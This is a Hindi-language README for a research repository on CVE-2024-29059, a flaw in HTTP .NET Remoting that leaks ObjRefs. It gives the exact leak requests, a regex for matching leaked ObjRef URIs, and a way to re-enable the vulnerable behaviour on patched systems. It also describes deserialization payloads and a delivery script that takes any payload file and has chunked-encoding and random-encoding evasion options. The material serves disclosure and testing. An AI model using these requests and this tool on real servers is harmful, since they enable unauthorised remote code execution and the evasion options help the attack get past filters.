
HTTP .NET Remoting के माध्यम से ObjRefs को लीक करने और exploit करने के लिए अतिरिक्त संसाधन (CVE-2024-29059)
ObjRefs को लीक करना और उनका शोषण (CVE-2024-29059)यह रिपॉज़िटरी CODE WHITE ब्लॉग पोस्ट Leaking ObjRefs to Exploit HTTP .NET Remoting के अतिरिक्त विवरण और संसाधन प्रदान करती है:
ObjRef लीक का पता लगानाTypeFilterLevel.Low प्रतिबंधों के अंतर्गत काम करते हैंनिम्नलिखित Microsoft द्वारा Configure Application Insights for your ASP.NET website पर आधारित है और यह वर्णन करता है कि Visual Studio 2019 (.NET Framework 4.5.2 को लक्षित करने के लिए आवश्यक; आप इसे https://aka.ms/vs/16/release/vs_community.exe से डाउनलोड कर सकते हैं) और Microsoft Application Insights के साथ एक संवेदनशील ASP.NET वेब एप्लिकेशन कैसे बनाएँ:
यदि जनवरी 2024 के .NET Framework अपडेट इंस्टॉल हैं, तो Web.config फ़ाइल खोलें और /configuration/appSettings के अंतर्गत निम्नलिखित जोड़कर संवेदनशील व्यवहार को पुनः सक्षम करें:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
आप वेब एप्लिकेशन को Debug > Start Without Debugging के माध्यम से या Ctrl+F5 दबाकर चला सकते हैं।
ObjRef लीक का पता लगानाLogicalCallContext में संग्रहीत MarshalByRefObject इंस्टेंस के ObjRef को लीक करने के लिए आप निम्नलिखित अनुरोधों का उपयोग कर सकते हैं:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
लीक हुए ObjRef URI का मिलान फिर निम्नलिखित regex का उपयोग करके किया जा सकता है:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
हमने YSoSerial.Net के TextFormattingRunProperties gadget के आधार पर दो सरल deserialization पेलोड बनाए हैं, जिनमें कस्टम XAML पेलोड हैं जो TypeFilterLevel.Low के कारण उत्पन्न प्रतिबंधों के अंतर्गत काम करते हैं, ताकि निम्नलिखित कार्य किए जा सकें:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"HTTP हेडर को HTTP .NET Remoting अनुरोध के प्रति सर्वर की प्रतिक्रिया में देखा जा सकता है।
RemoteApplicationMetadata.py स्क्रिप्ट मौजूदा ObjRef को लीक करने और फिर उसे किसी दिए गए पेलोड को वितरित करने के लिए बाद के अनुरोध में उपयोग करने का एक तरीका प्रदान करती है:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
उदाहरण:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v